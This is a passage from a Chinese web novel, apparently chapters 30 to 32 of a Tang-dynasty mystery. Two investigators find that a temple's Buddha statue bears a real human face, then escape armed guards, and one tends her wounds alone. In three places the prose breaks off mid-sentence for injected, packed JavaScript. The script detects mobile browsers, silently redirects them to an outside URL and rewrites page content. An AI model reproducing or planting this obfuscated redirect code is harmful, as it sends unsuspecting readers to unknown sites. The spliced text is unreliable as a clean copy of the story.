他似乎怕季琢玉再拒绝他,又说:“不急着答复我,玉兄弟,你想清楚了咱们再说。” 没等季琢玉说话,他摆了摆手,一溜烟就跑了。 崔十九翻墙进来的时候,正巧看见自家大人一个人站着,那背影别提多孤独可怜了,顺着崔大人的目光看去,是季姑娘。 还有杨大牛飞快离开的背影。 “大人,您怎么打扮成这样,季姑娘扯着您扮作劳力,您竟也答应。” “这寺庙的墙,您又不是翻不进来,何苦受这样的羞辱。” 崔十九拍了拍衣服上的尘土,抱着剑站到自家大人身边。 “从今日起,你的查案补贴每日一百五十文。”崔恪语气平淡。 崔十九惊喜,连连应声。 定是大人知道南下辛苦,特地给他涨了月钱。 崔恪心在滴血,他每月二十五贯钱,这个月南下,除去俸禄,还得倒贴钱。 “如此,便不算私心了。” 一视同仁。 崔十九沉浸在喜悦当中,没听清大人说什么,依稀听到什么“心”,他反问:“大人,您说什么?” “没什么,你也去换身衣 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最后调入雪莲晨露,趁温热倒入定制的越窑秘色瓷或内壁鎏金的小巧银盒中,等到香气内蕴,质地凝润。 如此才能制成一盒雪草露。 季琢玉从怀里摸出一个小小的火折子和半截蜡烛,小心翼翼地吹亮,靠近佛像,胭脂香味越来越浓。 “大人,这边。”她低声道,引着崔恪,沿着狭窄的木梯,攀上佛像背后的脚手架平台。 油布被轻轻掀开一角,她举着昏黄的烛,颤巍巍地探过去。 瞳孔皱缩,空落地手下意识拽住身旁崔大人的袖子,手指发紧。 映入眼帘的是巨大佛像那尚未贴上金箔的、裸露的泥塑身躯。 线条流畅,衣袂的褶皱都雕刻得栩栩如生,活灵活现,好像真正的妙龄少女的玉体。 烛光继续向上移动,照亮佛像的面部。 本就有些毛骨悚然的诡异感,看到佛像面部,她的呼吸在一瞬间停滞,像是被定住了,一动不动。 崔恪倒吸一口凉气,反手握住她的手腕,手掌传递着极具安全感的温热,微微用力。 烛光下,那张脸……哪里是泥塑木雕。 那根本就是一张活生生的,属于妙龄少女的脸庞,肌肤细腻,在烛光下甚至能看到细微的纹理和毛孔。 鼻梁挺翘,脸颊带着自然的血色,尤其是一双狭长的眼睛,虽紧闭着,却给人一种灵动的感觉,长长的睫毛根根分明,眼窝的弧度完美至极。 整张脸安详圣洁,透着一股不似凡尘的美,恍然仙子,却有着说不上来的诡异和奇怪。 五官单拎出来,都是极美的,然而拼凑在一起,虽像天后年轻的模样,却极不协调。 更骇人的是,这张脸,没有嘴唇…… 缺了嘴的佛像,少了几分慈悲,残缺不全,怎算得上是佛像。 怪不得半年的时间,寺中佛像一直没有完工,原来是没有雕刻好嘴巴。 眼看就要到最后期限了…… 30. 第三十章 “大人,这,这怎么可能……”崔十九震惊地看着眼前的天后佛像,怀疑地口吻,“泥巴雕刻的佛像怎么会如此真?” 就连长安城中最有名的工匠都做不到这种地方,这小小江南道,竟有如此奇人。 崔恪盯着佛像的脸,幽深的黑眸徒然有了冰冷的杀意,他的冷静在此刻显得不同寻常,仿佛已经看透了眼前的一切。 季琢玉咬咬唇,忽然想起早上路过茶棚,听到老农说的话。 “我孙儿在寺中当泥匠,经常听到夜里有女人哭泣的声音,说是远在长安城天后不满佛像尚未完工,分神震怒啊。” 简直是一派胡言,这世上没有神仙,更没有分神一说。 要么是幻听,要么就是这寺中真的有女人。 报恩寺自建寺以来,从不留宿女客,寺院里里外外,除了和尚就是工匠,哪儿来的女人哭声? 难道说……失踪的妙龄少女,被藏在了报恩寺里? “太像了。”季琢玉忍不住伸出手,探向佛像脖颈处与泥塑身躯的连接缝隙。 崔恪尚未来得及制止她的动作,她唰的一下把手缩了回去,脸色惨白,转头看向崔大人,眼里满是震惊。 似乎是发现了什么! 指尖残留着细腻的触感,真实又恐怖,她张了张嘴,声音还没发出来,不远处的黑暗中传来一道呵斥的声音。 “什么人?!” 紧接着是杂乱的脚步声和兵刃出鞘的铿锵声,季琢玉猛地抓住崔恪的手臂,惊慌道:“不好,被发现,快离开这里。” “怕什么,就算是武承嗣本人在,他也不敢动大理寺的人。”崔恪脸色沉静。挺直腰板,反扣住她的手腕,悄无声息的动作将她拉近些。 崔十九伸出去的手,碰到季琢玉的衣袖,又迅速收了回去。 他一个箭步走到两人面前,眼神灼灼环顾下面的护卫,拔出剑将大人和季姑娘护在身后。 火把的光亮瞬间从四面八方围拢过来,将整个脚手架平台照得亮如白昼。 穿着绸缎管事服、秃顶油光的中年人,带着十几个凶神恶煞的守卫,手持钢刀,将平台团团围住。 秃顶管事看清平台上两人的脸时,特别是看清崔恪那双冰冷如刀的黑眸时,脸色瞬间惨白如纸。 “崔……崔少卿?!”他的声音疑惑又害怕,忽然眼神一改,厉声道:“好大的胆子,竟敢擅闯禁地,亵渎天后金身,给我拿下,格杀勿论!” 亵渎天后金身,这罪名放在一般人身上都够株连九族了。 守卫们哪儿认得什么崔少卿,只以为眼前的三个人是不怀好意的乱臣贼子。 齐声应诺,手里锃亮的钢刀反映着火烛红光,杀气腾腾地冲上前。 崔恪一把将季琢玉拉到自己身后,冰冷地声音夹杂着温柔的叮嘱。 “躲到我身后。” 腰间的佩刀瞬间出鞘半寸,冰冷的目光扫过下方众人,落在秃顶管事惊惶的脸上。 他的声音不大,却清楚的在每个人的耳朵里,带着独属于大理寺少卿不容置疑的威严。 “大理寺奉旨查案,敢阻挠者,以谋逆论处。” “谋逆”二字一出,吓得守卫们的脚步不由自主地一滞,纷纷回头看像管事的,脸上露出惊惧。 大理寺办案,奉的是天后之命,眼前这个人是长安城来的大官,谁敢跟他动手? 秃顶管事浑身一哆嗦,他显然认出了崔恪,不知是何缘故,他下定决心要杀了他们。 “放屁,我没有得到国公爷的飞鸽传书,说什么大官来江南来,你私闯禁地,意图破坏天后金身,冒充大理寺官差,才是真正的谋逆,来人,将贼人拿下,国公爷有赏。” 管事的发了话,说不认识眼前的几个人,守卫们一咬牙,再次扑上。 来不及了,眼看守卫就要逼近他们了。 季琢玉扭头目光锁定在佛像的脸上,她掰开崔大人的手,猛地冲出去,朝着佛像跑去。 “你做什么?!”崔恪厉喝她。 季琢玉充耳不闻,高高举起手中的半截燃烧着的蜡烛,用尽全身力气,狠狠朝着佛像的额头砸了下去。 “砰”的一声巨响,蜡烛砸在佛像的额心上,没有预想中的泥块飞溅。 佛像的额头竟异常坚韧,蜡烛碎裂,火星四溅。 众人清晰地看到,被砸中的额心部位,皮肤……竟然凹陷了下去。 出现了一个清晰的、带着灼烧痕迹的凹坑。 忽然空气中弥漫开来一股极其细微、难以形容的,类似什么被烧焦的怪异气味。 其中混杂着先前胭脂水粉的香气。 “大人!”季琢玉朝着崔恪大喊一声,用手指着佛像。 不言而喻,她发现了了不得的秘密。 所有守卫,包括嚣张的秃顶管事,都如同被施了定身法,目瞪口呆地看着佛像。 佛像额头上被砸出一个坑,边缘微微翻卷,呈现出一种绝非泥土质感的。 崔恪瞳孔骤然收缩,瞬间明白了季琢玉这举动的用意。 那不是泥塑。 根本就是一张被精心处理过、固定在泥塑框架上的人皮。 “妖……妖孽啊!” 一个守卫终于承受不住这恐怖的冲击,发出撕心裂肺的尖叫,手中的钢刀“哐当”一声掉在地上。 “拿下,拿下他们!不能让他们活着出去。” 秃顶管事脸上的血色彻底褪尽,只剩下歇斯底里的恐惧和疯狂。 佛像被毁,泥塑变成了人皮,武大人追究下来,他担待不起。 崔恪手持佩剑,护在季琢玉身前,刀锋所向,无人敢缨其锋。 眼中冰冷的杀意席卷了整个平台。 守卫远比他们想象的多,目光所及之处,少说也有五六十人。 “大人,你们先走。”崔十九挥动长剑,抵挡守卫。 季琢玉眼神焦灼,她跃跃欲试,想要冲过去助崔十九一臂之力。 她也会武功,怎能让崔十九一个人涉险。 看透她的心思,崔恪一声厉喝“走”,反手抓住她的手腕,力道大得几乎要捏碎她的骨头。 他不再恋战,一脚踹飞一个挡路的守卫,拉着她就冲向佛像背后脚手架最黑暗的角落。 “追上去,别让他们跑了!” 秃顶管事尖利的声音在身后响起,更多的脚步声和火光从四面八方涌来。 前方是陡峭嶙峋的山坡,眼前没有路,而身后也只有死路一条。 崔恪没有丝毫犹豫,揽住季琢玉的腰,低吼一声:“抱紧我。” 纵身便从数丈高的平台上跃下,失重感瞬间攫住了季琢玉的心脏。 耳边呼啸着风声,两人的身体重重砸进下方茂密湿滑的乱草丛中,翻滚下去,尖锐的荆棘和碎石瞬间割破了衣服和皮肤,火辣辣的疼。 “呃…”崔恪在落地时充当了肉垫,发出一声沉重的痛哼,揽着她的手臂箍得死紧。 追兵的叫喊和火把的光亮迅速逼近,就在他们头顶上方。 乱糟糟的声音传来。 “人呢!” “怎么不见了?” 季琢玉捂住嘴巴,感受到身下的崔大人一动不动,她不出声,生怕惊动上面追来的守卫。 等到上面传来渐远的脚步声,季琢玉挣扎着从他怀里抬起头,声音带着哭腔和恐惧。 “大人!你怎么样?” 借着微弱的月光,她模糊地看到他的肩背处,洇开一片深色的、粘稠的湿痕。 不是水,是血,不知什么时候他被乱刀砍伤了……流了好多血,还是带着她一路跑出来。 “我没事,走。”崔恪咬牙撑起身,脸色比月光白,额角全是冷汗。 他试图站起来,身体猛地一晃,伤口被牵动,更多的血涌了出来。 “你流血了。”季琢玉的声音颤抖,死死抓住他的胳膊,试图分担他身体的重量。 远处草动,火把火光越来越多,是守卫! 他们没走,只是抄近路追了上来。 除非看到两人的尸体,不然他们不会那么容易折返的。 “快走!”崔恪的声音不容置疑,将她往前一推,“别管我,顺着山坡往下跑,去府衙找赵参军。” 他回身,拔刀指向火光逼近的方向,这架势,是要断后。 “我不走。”季琢玉态度坚决,扑回来,用尽全身力气撑住他摇摇欲坠的身体,眼泪唰唰地往下流,“不就是死吗,要死一起死,我扶你走!” 瘦小的身体变得很有力气,不管不顾地架着崔恪高大的身躯,深一脚浅一脚地往更深的、荆棘丛生的黑暗走去。 沿路尖锐的枝条抽打在脸上身上,白皙光滑的皮肤被划出一道道血痕。 太黑了,什么也看不清,脚下的乱石和湿滑的腐叶一次次将她绊倒,她又咬着牙拖着崔恪爬起来。 每一次起身,崔恪后背的伤口就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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双脚上的破旧布鞋不知道什么时候没有的,每走一步,尖锐的碎石和锋利的荆棘就割一下她赤裸的脚底。 疼,实在是太疼了……她一滴眼泪也流不出来了,只剩下肩膀一颤一颤。 终于,府衙那熟悉的、挂着灯笼的大门,出现在她的视野里,像是濒临死亡前最美好的幻觉。 “来人……快来人啊!”她用尽最后一丝力气喊出来。 门房被惊动,灯笼光晃了过来。 看清门口的景象,惊呼起来:“是季公子和崔大人,天,快,快叫大夫,快啊!” 门房将崔恪接过去,季琢玉只觉得背上一轻,紧绷的弦骤然断裂,眼前一黑,身体软软地就往下倒。 陆长史、周司马还有赵参军,三人皆被吵醒,闻讯而来,破晓时分的府衙掀起一片慌乱。 东厢房,血水一盆一盆往外递,背着药箱的大夫一个接一个赶到。 “崔少卿,您可千万别有事啊。”陆长史双手合十,在院子里踱步祈祷。 四品大官在他管辖的地方丢了性命,他全家老小就等着被斩首示众吧。 何况崔少卿还不是一般的四品官,是太子太傅崔闳唯一的孙儿,平阳县主和崔知州的独子。 他的身份何等尊贵,背靠的清河崔氏又是何等显赫。 “崔大人福大命大,死不了的。”赵参军就冷静多了,语气听不出半点担忧。 “你少说这些风凉话,要不是你写折子上报,天后怎会派崔大人来调查此案,少卿出了什么事,也该算在你头上。” 周司马“哼”一声,就差指着赵参军的鼻子骂了。 妙龄少女陆续失踪案,原本归他查,奈何案子比他想象的复杂,查了半年,什么线索也没有,毫无进展。 赵参军瞒着所有人上报此事,不就是拐弯抹角说他周司马办案不力,能力有限吗? 这下好了,人人都知道江南道的司马连个案子都破不了,还得请长安城派大理寺的人前来查破案子。 “你怕死,我不怕,若少卿大人醒来问罪我等,算在我头上便是,我一人领罚。”赵参军好生威风,面不改色。 “好了,都少说两句。”陆长史打断两人的争吵,递给旁边的老吏一个颜色,“你去看看季公子,他好像也受伤了,需要什么药,你只管去问大夫要,药钱算在衙门账上。” “是,大人,我这就去。”老吏转身走向对面的厢房。 31. 第三十一章 对面厢房内,热气氤氲,季琢玉疲惫地靠在桶壁上,闭上眼睛。 粗糙的浴桶里,热水漫过她的肩头。 浑身的剧痛在热水的浸泡下,如同无数细密的针,刺得她微微发抖。 季琢玉慢慢抬起手,借着微弱的光看到惨不忍睹的双手。 红肿的掌心被磨掉了一层皮,翻卷着血肉,混着泥污和干涸的血痂。 十根手指的指甲,好几个都断裂翻起,指尖肿胀的像是红萝卜,红到发紫。 从手臂到肩膀,甚至脖颈和脸颊上,都布满着细密的划痕,那是被荆棘和乱枝抽打,刮蹭留下的痕迹。 双脚疼得更厉害,泡在热水里,被污泥覆盖的伤口显露出来,脚底几乎没有一块好肉,被碎石割裂的口子翻着白边,边缘红肿。 她下意识将双脚缩起来,忽然意识到如今是在江南道,不是在家里,秦姨不会看到这一幕,她又缓缓把双脚伸出来。 小心翼翼地取下搭在木桶边的粗布巾,蘸着温热的未曾参杂一点草药的水,一点一点擦拭身上的泥污和血渍。 无论动作如何轻柔,每一次触碰伤口都疼得厉害,她的身体都下意识地绷紧,眉头紧蹙。 雾气朦胧中她眼前不受控制地浮现出方才在蒿草丛里,翻动崔恪身体时看到的画面。 宽阔坚实的后背,衣服被血浸透,黏连在皮肉上。 她颤抖着手,用匕首小心翼翼割开布料,不是为了处理伤口,那时她只想确认他是否还有气息,是否还活着。 可是,她看了在狰狞的新伤口周围,麦色紧实的背部肌肉上,遍布着数道陈旧的伤痕。 不是刀剑伤,也不是擦伤,是鞭痕。 一道又一道,深深浅浅,纵横交错。 有些颜色已经很淡,只留下微微凸起的浅色印记,有些颜色深暗,如同丑陋的蜈蚣,烙印在背后肌理之间。 那些鞭痕层层叠叠,从肩胛蔓延到脊骨,最后延伸到后腰处,触目惊心,看得人胆战心惊。 那绝不是一次两次留下的,是经年累月反复鞭笞留下的烙印。 他是谁,他是崔恪啊! 是长安城最年轻的四品大员,是天后倚重,百官敬畏的大理寺少卿。 是崔氏门阀最耀眼的后代,他那样的人,从出生就备受瞩目,崔氏门阀麒麟子,背靠清河皇商,在中进士前就受人尊重敬仰。 冷硬又强大的崔大人,高高在上的少卿,怎么会……怎么会背负着如同奴隶般的鞭痕? 是谁,是谁敢这样对他,谁又能这样对他! 季琢玉想不明白,他身上的伤从何而来,而是谁下此毒手。 鞭打的伤痕不会要他的性命,却会让他生不如死,痛苦不堪。 热水氤氲的热气熏蒸着她的眼睛,打断了她的思绪,眼前支离破碎的画面瞬间崩碎,她的眼睛酸胀得厉害。 她伸出右手抚摸左臂上细密的划痕,洗去泥泞的伤疤看起来更加狰狞丑陋。 眼泪毫无征兆地汹涌而出,大颗大颗,滚烫的泪珠,混着脸上的水汽,无声地滑落。 泪珠滴进浴桶的热水里,消失不见,连水花也没有溅起来。 她甚至不知道自己在哭什么。 是为崔恪背上致命的刀伤,还是为他后背上层层叠叠的鞭痕。 是为他今夜护着她杀出重围的决绝,还是为他昏迷前那句凶狠的“别管我”。 只是看到他背上那些鞭痕的瞬间,她的心脏像是被一只冰冷的手狠狠攥住了。 那是一种从未有过的痛,尖锐到无法呼吸,她确信不是四肢传来的,而是从心里,内心的深处。 总之,砸落在浴桶里的泪不是因为疼,身上再疼她也能忍着。 依稀记得几年前,她在坊间救下过一个孩子,那孩子才四岁,差点被醉酒的叔叔用棍棒打死。 她替那孩子扛了一棍子,抱着孩子跑到安全的地方,才发觉自己的手臂已经脱臼了。 手臂没接好,她不敢回家,怕秦姨怪她多管闲事。 后来……后来怎么着了,她记不得了,总之她的手臂接好了。 可能是去西市找大夫给接好的,还有那孩子,去哪儿了,她也不记得了,总归是活下来了。 “季公子,您怎么样了?”门外传来老吏焦急的呼喊,伴随着急促的拍门声,“老奴给您送金疮药来了,三七粉,顶好的。” 季琢玉猛地吸了口气,压下喉咙口的腥甜,声音嘶哑得像砂纸摩擦,带着不容置疑:“东西放门口,别进来!” 她快速从木桶中起身,忍着身上的痛,一把扯过搭在架子上的衣服,套在身上。 “可您的伤……”老吏担忧地口吻,隔着门与她说话。 “我的伤没事,你把东西放门口。”她几乎是吼出来的,牵动了背后的伤,痛得眼前一黑,冷汗瞬间又冒了一层。 此刻老吏推门而入,便会看到一个乌黑长发湿漉漉,眼睛微红,满身伤痕的出浴美人。 她的脸,没了为女扮男装而胡乱涂抹的妆容,更加清丽,眼神带着一种独特的魅惑,并非是卑微的媚,而是清冷高贵的媚。 没有人说过,她像天家人吗,秦姨和花大叔好像从未提到过这过分明显的相似。 西市没人见过天后,得见天后的人,也都是达官贵族,与她自然是两路人。 这眉眼……像极了天后年轻时候的样子,那时天后还只是武昭仪,备受皇上宠爱,却又在危机四伏的后宫步履维艰。 门外安静了一瞬,只听得老吏无奈又担忧的叹息,接着是药罐子轻轻搁在地上的细微声响。 脚步声刚离去没多久,季琢玉正要上前一步打开门,又一个兴冲冲的大嗓门由远及近,伴随着一股混合着食物香气的风撞了过来。 她赶紧退回去,连地上的三七粉都没来得及拿起来,“哐当”一声把门关严。 她背靠着门,轻拍着自己的前胸,惊魂未定。 是杨大牛,他这个时候怎么跑来了? “玉兄弟,玉兄弟!开门啊,是我,大牛。” 杨大牛在屋外的声音洪亮得能掀翻屋顶,他的每一个字都落在季琢玉惊慌颤抖地心尖上。 “瞧我给你带什么来了,东市老张头新出炉的炙羊肉,香掉舌头,还有蜜渍杏脯、新编的竹蚱蜢……可好玩了。” “我晓得你跟姓崔的忙于案子,分不出身,我一并买来了,你肯定喜欢。” 杨大牛在外面“砰砰砰”地拍着门,力道大得门板都在颤,再颤也没有季琢玉此刻的心颤得厉害。 “东西放下,人走!” 季琢玉的声音从门缝里挤出来,比刚才更冷硬几分,带着一种透支后的疲惫和强撑的疏离。 好不容易将老吏打发走,又来了一个杨大牛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893652|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏偏这时,她的裹胸布找不见了,不知道脱衣服的时候顺手丢在哪儿了,她急得不得了,双手护住自己的前胸。 呼之欲出,柔软的触感,让她极为不适,她已经习惯了扮作男人。 “啊?”杨大牛的声音卡住了,显然没料到是这待遇。 他看了看地上孤零零的药罐,又看看自己手里拎着的大大小小油纸包和精巧的小玩意儿,浓眉拧成了疙瘩。 “玉兄弟,你受伤了?伤得重不重?让我看看……” “走!”门内斩钉截铁,毫无转圜余地。 杨大牛在门口站了半晌,疑惑不解,他摸摸后脑,想不通是哪句话惹怒玉兄弟了。 小半会儿过后,他重重叹了口气,小心翼翼地把带来的东西都堆放在药罐旁边,唯独把那坛用红布封着的、足有五六斤重的酒拎在手里。 犹豫了一下,放在了最显眼的位置。 “玉兄弟,东西放这儿了,还有坛剑南烧春,最烈的,你肯定喜欢,你先歇息,我明日再来同你喝酒。” 他的声音低了下去,透着浓浓的失落和不解,一步三回头地走了。 门外终于彻底安静下来。 季琢玉强撑着挪到门边,拉开门栓仅容一臂宽的缝隙。 冷风灌入,吹透她身上湿漉漉的单衣,让她打了个寒颤。 她目光扫过地上那堆东西,吃的、玩的,最终,手了伸出去,精准地抓住了那坛沉甸甸的烈酒和三七药粉。 “砰!”门再次关上,落栓。 季琢玉背对着窗户,放下三七粉,咬开酒坛的泥封。 浓烈到刺鼻的酒气瞬间弥漫厢房内外,她扯下早已湿透的上衣,露出伤痕累累的后背。 渗血的红痕在雪白的肌肤上,格外显眼,随着她的呼吸,血还在往下流。 季琢玉深吸一口气,无奈地看一眼桌子上的三七粉,她够不到自己的后背,上不了药,可后背又是伤得最厉害的…… 不能用药,就只能用烈酒。 她狠狠咬上事先准备好的一卷粗糙布巾,双手端起沉重的酒坛,没有任何犹豫,对准自己后背处皮肉外翻的伤口,猛地倒下。 冰冷的烈酒浇在她的后背上,闷哼声从喉咙深处硬生生挤出来的,像是被人拿铁锤击中后背。 猛地弓起背脊,无法形容的灼痛感席卷全身神经,眼前金星乱冒,一片漆黑,耳朵里嗡嗡作响。 身体控制不住地剧烈痉挛发抖,冷汗霎那间涌出,瞬间浸透半退未退的里衣。 手死死抠住木桌边缘,指甲嵌进木头里,指关节变成青白色。 全身肌肉绷紧到极限,牙关紧咬,口中的布巾被咬得咯吱作响,几乎要碎裂。 嗓子眼里的吃痛喊叫声被她强行咽下,硬是一点声音都没有发出。 屋顶上的黑野猫步伐悠哉,旁若无事地走过。 痛,撕心裂肺的感觉,后背都要被烈酒烧穿了。 她手上的动作未停,不知过了多久,手中的酒浇完了大半,重量骤轻。 整个后背如同被滚油淋过,火辣辣地失去了知觉,只剩下麻木的剧痛在神经末梢疯狂挑衅。 她松了嘴,粗糙的布巾全是口水,几乎被咬穿了。 大口大口地喘着粗气,胸膛剧烈起伏,额发被汗水浸透,狼狈地贴在苍白的脸颊上。 停下手,身体还在不受控制地微微颤抖。 32. 第三十二章 浇过烈酒,她拿起桌子上的三七粉,是淡绿色的,散发着清凉气息。 她用指尖挑出一点药粉,小心翼翼地涂抹在手臂和脚底最严重的伤口上。 “嘶……” 冰凉的药膏触碰到翻卷的血肉,带来一阵尖锐的刺痛,季琢玉倒吸一口冷气,身体猛地一缩,险些将手中的瓶瓶罐罐扔出去。 不能耽搁久了,指不定等会儿会有谁过来。 老吏和杨大牛好打发走,旁的人就没那么好说话了,她应声不出去,长史和司马肯定起疑心,“一个不小心”闯进来就会发现她是女儿身。 手指上的药粉慢慢涂抹开,清凉感渐渐压过刺痛,带来一丝难得的舒适。 她紧绷的身体一点点放松下来,药粉用尽,她也似乎到了意识模糊的边界。 合衣上床,只能侧着身子,勉强闭上眼睛。 纵横交错的鞭痕在眼前挥之不去,她睡不着,脑子里乱七八糟,好像有什么东西理顺不清。 心好痛,针扎一般,她好像忘记了很重要的事情。 到底是什么…… 眼泪从她的眼角流下来,滑过脸颊,没入耳窝里,黏腻湿润。 秦姨不是说,她忘记的都是不要紧的事情吗,她还记得秦姨和花大叔,就够了。 太阳刚挪动一寸,还是辰时。 崔恪无声无息躺在床榻上,呼吸微弱,脸色比昨夜更添了一层灰败。 崔十九抱着剑靠着墙站着,熬得双眼通红,头有一下没一下地往下点。 大夫在厢房里来回踱步,脚步沉重,踩得地板吱呀作响,双手攥在一起,急得不得了。 “药怎么还没好,快去催催,叫人赶紧端过来。”大夫催促一旁的府衙仆从。 门外浅浅深深的脚步声,崔十九立刻扭头去看,看到季琢玉拖着身子艰难得迈步进来。 “季姑……公子,你好些了吗?” 屋里还有旁人,他情急之下险些说漏了嘴。 季琢玉点点头,她嘴上说着不要紧了,脸色却骗不了人,只比昨晚脸色好一点,还是苍白无血色。 “大人醒了吗?”她看向床。 崔十九摇头,眼神悲痛不已,已经好几个时辰了,崔大人还是没有要醒来的意思。 江南道不比长安城,人手不足,药也只是寻常的药,大人一时半会儿是醒不来的。 季琢玉遥望一眼床上的人,手扶着桌沿,一脸担忧的神色。 “你去长安城,用崔大人名义调兵来,包围报恩寺。” 崔十九傻眼,他站在原地一动不动,没想到季姑娘会下这样的命令。 少卿昏迷不醒,身上确实带着令牌,远在长安城的人见令牌如见大人,调兵确实可行。 但……已经来不及了。 “天后下令让大人查办此案,只给了五天时间,今天已是最后一日,调兵怕是来不及了。” 季琢玉猛地回头看他,怒道:“你怎么不早说!” 崔十九无奈,他说了又能如何,季姑娘只能干着急,此案离了大人,又怎么能破呢。 大人一日不醒,案子就没法继续查下去。 回到长安城被天后问责,已成定局。 季琢玉强迫自己冷静下来,还有一天的时间,也许一切还来得及。 俗话说跑得了和尚跑不了庙,天后金身被她毁了,工匠们要重修,这是她情急之下想到的拖延时间的方式。 只要金身一天未塑成,国公爷的亲信就不会离开江南道,此人定是抓走妙龄少女的主谋。 “如果此案未破,崔恪回到长安城会怎样……” “轻则罚俸禄。”崔十九欲言又止。 季琢玉急道:“那重呢,重则如何?” “重则贬官,也许会离开长安城,像崔世茂大人一样。”崔十九低下头,一脸绝望。 离开长安!? 季琢玉眼睛瞬间睁大,心里莫名咯噔一下,她不想让他离开长安城,她确信自己的内心就是这么想的。 或许是她打心眼里认定崔恪是个好官,只有他留在大理寺,才能帮助更多的大唐子民。 贬官……像崔世茂大人一样,那也就是说会去岭南,这怎么行,岭南是什么地方,比阴曹地府还会索人的性命。 “十九,不要去调兵,更不要让人知晓江南道发生的事情,就当……崔大人并未受重伤,还在办案。”季琢玉一字一句地嘱咐。 “为何?”崔十九疑惑地看着她,下一秒便想清楚了是怎么一回事,难道季姑娘有什么法子能在一天之内破案? “不可!”他大喊一声,甭管是什么法子,总之是极为凶险的,绝不能眼睁睁看着季姑娘舍生冒险。 季琢玉心意已决,崔十九再怎么阻挠也没用。 “你在这守好大人,我去去就回。”季琢玉转身往厢房外走,忽然又扭过头来,一脸凝重地说:“明日辰时之前,我若是未回来,你就带着大人回长安,不必等我。” 崔十九猛地刹住脚步,声音嘶哑,强行压低,憋得脖子上的青筋都暴了起来。 “您不能去,哪儿都不能去,报恩寺的人昨天没得手,今天肯定布下了天罗地网,就等着咱们,等着您去自投罗网。” 他冲到季琢玉面前,试图挡住她的去路。 季琢玉肩背挺直,仿佛身上不疼,没有受过伤,唯独过分苍白的唇色和眼底深处压抑的疲惫泄露了一丝端倪。 “我知道。”她的声音很淡,像蒙着一层冰霜,却异常清晰。 抬起眼,静默地看着崔十九,眼神里没有恐惧,只有一种近乎燃烧的冷静和破釜沉舟的决心。 “期限是今天日落前。”她的目光扫过崔恪毫无生气的脸,又落回崔十九焦灼万分的眼睛上,加重了语气,“崔恪没醒。” 她只有自己去,别无他法。 而且她心中已经有了计谋,定能将报恩寺中被关押起来的少女救出来。 如果她没记错,那尊金身还差双唇,少女的双唇。 那群人一定急坏了,到处寻找适合的唇,给太后的慈悲像一张无可挑剔的美丽容貌。 “可……可您一个人去就是送死啊。”崔十九急得直跺脚,声音都变了调,“至少……至少等大理寺其他……” “来不及了。”季琢玉打断他,语气斩钉截铁。 “十九,守好你家大人。” 这句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898598|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她对崔十九最后的嘱托,仿佛放下了千斤重担。 “季……”崔十九还想再劝,声音里带着绝望的哀求,紧紧攥着双拳。 偏偏他没法随季姑娘而去,大人这里离不开他,他怕自己走后,会有人趁此机会刺杀少卿大人。 昨日寺中,那管事的和尚分明认出了大人的身份,却还是下令追杀。 江南道有人胆大包天,狼子野心,不得不防。 崔十九追出去,外面哪儿还有季姑娘的影子。 不知过了多久,府衙的仆从煎好药送来,大夫拎着药箱离开,崔十九站在屋外,听到里面传出少卿大人的咳嗽声。 “玉儿……” 崔十九转身正要进屋,听到轻微的唤声,身体一震,大人是在叫季姑娘? 他们之间竟已经熟络到这种地步了吗? 崔十九猛地晃动几下脑袋,迫使自己不要胡思乱想,大人怎么会跟季姑娘有男女之情,少卿大人绝不是会背弃诺言的人。 不光是他,连十八那个呆木头都知道,大人曾跟一位女子允诺过娶她为妻。 他快步走进去,对视上自家大人的黑眸。 那眼神分明是在问,季姑娘人呢? 他心知肚明,却无法回应,季琢玉临走前再三叮嘱他不许告诉崔少卿她去哪儿了,她要去做的事情,旁人跟去了只会徒增麻烦。 崔十九低着头走到床边,扯谎说:“季姑娘在房中歇息,昨晚背大人回来累坏了。” 崔恪看向门口的目光收回来,落在崔十九的脸上,带着审视。 “扶我过去见她。” 崔十九一惊,赶紧说:“不可,大人,您身上的伤还没好,需卧床修养。” 崔恪不听他说什么,已经双手撑着床板,准备穿上外衣下床了。 崔十九伸手扶上他的臂膀,感受到他的手臂因为过度用力而颤抖地厉害。 不行,他绝对不能让大人知晓季姑娘孤身一人赴险的事,依大人的性子,肯定是要追过去的。 如今崔大人这样,追过去,不仅帮不到季姑娘,季姑娘还得腾出心思来照料他。 “大人恕罪,属下不是故意隐瞒的。”他突然绕到崔恪面前,低下头,一脸自责的样子。 “怎么回事,如实说。”崔恪扶着桌沿,面前坐到椅子上,披着外衣,嘴唇血色全无,干裂发白。 他幽幽地目光盯着崔十九,像是兴师问罪。 崔十九忽然想起之前见过的杨大牛,此人与季姑娘是结拜兄弟,或许可以请他帮忙。 他是杨家船帮的少帮主,手底下一定有不少人。 “回大人,季姑娘天不亮就跟杨少帮主走了,说是……到绿阳酒楼小聚。” 崔十九说完这番话,瞳孔一缩,意识到自己压根就不会撒谎。 